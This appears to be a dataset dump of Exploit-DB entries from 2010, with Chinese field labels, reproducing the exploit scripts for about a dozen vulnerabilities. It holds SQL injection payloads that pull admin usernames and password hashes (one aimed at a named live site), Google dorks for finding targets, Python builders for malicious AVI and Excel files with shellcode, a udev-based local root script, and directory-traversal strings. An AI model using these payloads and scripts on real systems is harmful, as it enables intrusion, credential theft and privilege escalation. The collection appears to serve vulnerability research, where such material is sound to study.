QLWD/code_shield huggingface dataset:
标题: Joomla! Component Elite Experts - SQL Injection EDB-ID: 15100 CVE: 2010-4944 类型: WEBAPPS 平台: WINDOWS_X86 发布日期: 2010-09-24 漏洞利用脚本: [+]Title           Joomla  Component  (com_elite_experts)   SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact         RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on       Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Vendor: http://www.joomla.org
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
The 'com_elite_experts' component is a module for the Joomla! and Mambo content managers.

=========================================

[+] Dork: inurl:"option=com_elite_experts"

==========================================

[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[P0C]:  http://127.0.0.1/path/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=[SQL Injection] 

[Dem0]:  http://127.0.0.1/path/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=[SQL Injection] 

[LiVe DeM0]:

http://www.razwod.ru/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--


[Infos]:  In  Other webpages the nomber of columns changes,but all of them are vulnerable to the "id" parameter... :P  Good Luck

===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   Says: Hate me , but all you motherf******* can't brake Me, So Hate Me.... For All Haters
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | The|DennY` | EaglE EyE  | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka | Sid3^effects| L0rd CruSad3r |SONIC | All Inj3ct0r 31337 Members | And All My Friends
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
=========================================================================================== URL: https://www.exploit-db.com/exploits/15100
标题: Microsoft Cinepak Codec CVDecompress - Heap Overflow (MS10-055) EDB-ID: 15112 CVE: 2010-2553 类型: DOS 平台: WINDOWS 发布日期: 2010-09-26 漏洞利用脚本: '''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''
  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      : 
'''


import sys

def main():

 aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
 movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
 cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
 number_of_coded_strips = '\x00\x10' 
 cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
 idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
 
 avifile = open('poc.avi', 'wb+')
 avifile.write(aviHeaders)
 avifile.write(padding)
 avifile.write(movi_tag)
 avifile.write(cinepak_codec_data1)
 avifile.write(number_of_coded_strips)
 avifile.write(cinepak_codec_data2)
 avifile.write(idx_tag)
 
 avifile.close()
 print '[-] AVI file generated'
 
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/15112
标题: Microsoft Excel - OBJ Record Stack Overflow EDB-ID: 15094 CVE: 2010-0822 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-24 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15094.zip (moaub-24-excel-exploit.zip)
'''

'''
  
  Title               :  Microsoft Excel OBJ Record Stack Overflow
  Version             :  Excell 2002 and XP (SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0822

'''


import sys

def main():
   
    try:
  fdR = open('src.xls', 'rb+')
  strTotal = fdR.read()
  str1 = strTotal[:36640]
  str2 = strTotal[37440:]
    
  # shellcode calc.exe
  shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'
  
  if len(shellcode) > 800:
   print "[*] Error : Shellcode length is long"
   return
  if len(shellcode) <= 800:
   dif = 800 - len(shellcode)
   while dif > 0 :
    shellcode += '\x90'
    dif = dif - 1
    
  fdW= open('exploit.xls', 'wb+')
  fdW.write(str1)  
  fdW.write(shellcode)
  fdW.write(str2)
  
  fdW.close()
  fdR.close()
  print '[-] Excel file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/15094
标题: Joomla! Component Joostina - SQL Injection EDB-ID: 15085 CVE: 2010-4929 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-22 漏洞利用脚本: #
# Note:  This does not affect the current version of this component. It was patched more than 15 months ago.
#
#
Joomla (joostina)  Component com_ezautos SQL Injection Vulnerability

###########################

Author : Gamoscu

Homepage : http://www.1923turk.com

Blog :http://gamoscu.wordpress.com/

Script : Joomla http://www.joostina-cms.org/content/view/20/35/

Dork : inurl:com_ezautos
###########################

[ Vulnerable File ]

index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 [ SQL ]

[ XpL ]

+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block%3C%3E1--

[ Demo]

http://xxxxx/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block%3C%3E1--

##############################################################
#
#
#
# Baybora: http://baybora.wordpress.com/
#
# Manas58  Delibey  Tiamo  Psiko  Turco  infazci  X-TRO
#
#
#
#            #Elektrikist#
#
############################################# URL: https://www.exploit-db.com/exploits/15085
标题: wpQuiz 2.7 - Authentication Bypass EDB-ID: 15075 CVE: 2010-3608 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-21 漏洞利用脚本: Powered by wpQuiz - Auth bypass Vulnerability

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout 
[+] Greatz : DaiMon 
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Script : wpQuiz
~Version : 2.7
~Download : http://webscripts.softpedia.com/script/Quizz/wpQuiz-41098.html
~Vulnerability Style : Auth bypass
~Google Dork : "Powered by wpQuiz" inurl:index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~

http://[Victim]/path/admin.php 
                     [or user.php]

for bypass() bySQL

ID : ' or '1=1
PW : ' or '1=1

              GOODLuck ;)
              
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ URL: https://www.exploit-db.com/exploits/15075
标题: Adobe Shockwave Director tSAC - Chunk Memory Corruption EDB-ID: 15076 CVE: 2010-2866 类型: DOS 平台: WINDOWS 发布日期: 2010-09-22 漏洞利用脚本: '''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title               : Adobe Shockwave Director tSAC Chunk memory corruption
  Version             : dirapi.dll 11.5.7 
  Analysis            : http://www.abysssec.com
  Vendor              : http://www.adobe.com
  Impact              : Med/High
  Contact             : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             : @abysssec

http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15076.zip (moaub-22-exploit.zip)

'''


import sys

temp =  """<!-- saved from url=(0013)about:internet -->

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
 ID=wineglass>
 <param name=src value="poc.dir">
 <param name=PlayerVersion value=11>


</object>
"""
htmlTest = open('poc.html', 'wb')
htmlTest.write(temp)
htmlTest.close()

sampleFile = open('sample.dir','rb')
pocFile = open("poc.DIR",'wb')   
pocFile.write(sampleFile.read(-1)) 
sampleFile.close()
pocFile.seek(13168)
pocFile.write("\xff\xff\xff\xff\x11\x11")
pocFile.close() URL: https://www.exploit-db.com/exploits/15076
标题: mountall 2.15.2 (Ubuntu 10.04/10.10) - Local Privilege Escalation EDB-ID: 15074 CVE: 2010-2961 类型: LOCAL 平台: LINUX 发布日期: 2010-09-21 漏洞利用脚本: # source: https://www.securityfocus.com/bid/43084/info

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"
        exit
fi
cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root" URL: https://www.exploit-db.com/exploits/15074
标题: ibPhotohost 1.1.2 - SQL Injection EDB-ID: 15070 CVE: 2010-3601 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-21 漏洞利用脚本: #################################################
+
+  Title:       ibPhotohost 1.1.2 SQL Injection
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://mods.invisionize.com/index.php/f/7609
+  Vuln:        index.php?autocom=photohost&CODE=04&img=[SQL Injection]
+  Greetzz to:  back2hack,free-hack,hackbase,c-c
+  Contact:     nebelfrost77@googlemail.com
+
#################################################
  
--[ Vuln Code ] --
  
$id = $this->ipsclass->input['img'];

 $this->ipsclass->DB->simple_construct(array(
 'select' => '*',
 'from' => 'imgupload',
 'where' => 'imgupload_id=' . $id,
 'order' => 'imgupload_date asc'
 ));
  
################################################
  
--[ Exploitable ]--
  
http://site/index.php?autocom=photohost&CODE=04&img=[SQL Injection]

http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=1--+ => true
http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=0--+ => false

http://site/index.php?autocom=photohost&CODE=04&img=1+and+substring(version(),1,1)=5

################################################ URL: https://www.exploit-db.com/exploits/15070
标题: Joomla! Component TimeTrack 1.2.4 - Multiple SQL Injections EDB-ID: 15084 CVE: 2010-4926 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-22 漏洞利用脚本: TimeTrack 1.2.4 Joomla Component Multiple SQL Injection Vulnerabilities

 Name              TimeTrack
 Vendor            http://www.itrn.de
 Versions Affected 1.2.4

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-09-22

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

TimeTrack  is  a  time tracking Component for Joomla! 1.5
to  collect,  categorize  and  evaluate working hours and
services.  Monthly  Reports can generated and exported as
PDF or CSV-File.


II. DESCRIPTION
_______________

Many numeric parameters are not properly sanitised before
being  used  in  a  SQL  query. This  can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Each  module  is  vulnerable to SQL Injection because all
numeric fields are not sanitised.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://host/path/components/index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15084
标题: LightNEasy CMS 3.2.1 - Blind SQL Injection EDB-ID: 15060 CVE: 2010-4752 2010-4751 2010-3485 2010-3484 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-20 漏洞利用脚本: # Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.lightneasy.org/
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing
 
 
[ Vulnerability]

# Vulnerable Code:

common.php line 112-148

function login() {
 global $message, $set, $langmessage, $prefix;
 if($_SESSION[$set['password']]!="1") {
 if($_GET['do']=="login" && $_POST['handle']!="") {
  $result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
  if($row = fetch_array($result)) {
   if($row['password'] == sha1($_POST['password'])) {
     ...

}}}}}
 
# Explanation:

$_POST['handle'] isn't sanitized before executing the database query.


Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().

# Exploiting the Vulnerability // PoC:

URL: http://localhost/LNE/LightNEasy.php?do=login

Postdata:

handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login

This will trigger benchmark() if the first character of the admin hash is b. URL: https://www.exploit-db.com/exploits/15060
标题: Microsoft Excel - WOPT Record Parsing Heap Memory Corruption EDB-ID: 15065 CVE: 2010-1248 2010-0824 类型: DOS 平台: WINDOWS 发布日期: 2010-09-21 漏洞利用脚本: '''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 21 binary analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''
 
  Title               :  Microsoft Excel WOPT Record Parsing Heap Memory Corruption
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1248
 
here is BA : http://www.exploit-db.com/moaub-21-microsoft-excel-wopt-record-parsing-heap-memory-corruption/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15065.rar (moaub-21-exploit.rar) URL: https://www.exploit-db.com/exploits/15065
标题: BoutikOne 1.0 - SQL Injection EDB-ID: 15049 CVE: 2010-3479 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-19 漏洞利用脚本: ________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_
/____/\___/\___/_/   \___/\__/
#####################################################################
# Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie
# Date: 19/09/2010
# Author: BrOx-Dz
# Author: E.dz@hotmail.fr
# Software Link: http://www.boutikone.com/
# Dork  : Powered by BoutikOne®
# Version: BoutikOne®
# Tested on: windows xp pack 3
#####################################################################

----------------------------------------------------------------------------

#e.g :
http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]

#demo :
http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'

----------------------------------------------------------------------------
greatez:

lagripe-dz  mca_crb  amine  halim all dz members.

www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/. URL: https://www.exploit-db.com/exploits/15049
标题: SmarterMail 7.1.3876 - Directory Traversal EDB-ID: 15048 CVE: 2010-3486 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-19 漏洞利用脚本: # Note: Fixed by the vendor in version 7.2.3925
# http://www.smartertools.com/smartermail/releasenotes/v7.aspx

  Vendor: smartertools.com SmarterMail 7.x (7.1.3876) | Bug : Directory
Traversal, OS Command Injection, Other Critcal Vulns
      ########################################################################

# Vendor: smartertools.com SmarterMail 7.x (7.1.3876)
# Date: 2010-09-12
# Author : sqlhacker – http://cloudscan.me
# Thanks to : Burp Suite Pro - engagement tool
# : FuzzDB
# Contact : h02332@gmail.com
# Home : http://cloudscan.me
# Dork : insite: SmarterMail Enterprise 7.1
# Bug : Directory Traversal, OS Command Injection, Other Critcal Vulns
# Tested on : SmarterMail 7.x (7.1.3876) // Windows 2008 /64/R2
# Vendor Contact - August 14, 2010
# -Multiple email exchanges with Vendor thru Labor Day 2010
# - Vendor took no action 9/1/2010
# - Public Disclosure with Workaround Solution Provided 9-4-2010
########################################################################
Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html

The default installation of SmarterMail is vulnerable to 1 (or more) of the
file fuzzing types contained within FuzzDB and Burp Suite Pro 1.3.08 as a
baseline analysis for exploit surface modeling.

Reduced to exploits, Directory Traversal, OS Injection and Execution.
Initial Exploit Requires user-level privs.

A malicious user seeking to exploit Browser Clients can launch attacks from
the User Home / Public Web Directory utilizing the SSL Certificate of the
Host Provider.
A malicious user seeking to exploit the Host Server can launch attacks as
Local File Inclusion or Remote File Inclusion and perform Operating System
Injections and Execution.
A malicious user can read and write directories, files and perform malicious
operations due to the default configuration of smartermail.


This is reduced to:   GET {Vulnerable SmarterMail
Site}/path/*payload*relative/path/to/target/file/
..%255c
.%5c../..%5c
/..%c0%9v../
/..%c0%af../
/..%255c..%255c
../../../../../../win.ini
../../../../../../SmarterMail/ExploitShells
../../../../../../SmarterMail/{Domain}/{(l)uzername)/PubPayloadDir/logo_25.jpg%../%../somewhere
to read/write
A workaround is posted in the Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html URL: https://www.exploit-db.com/exploits/15048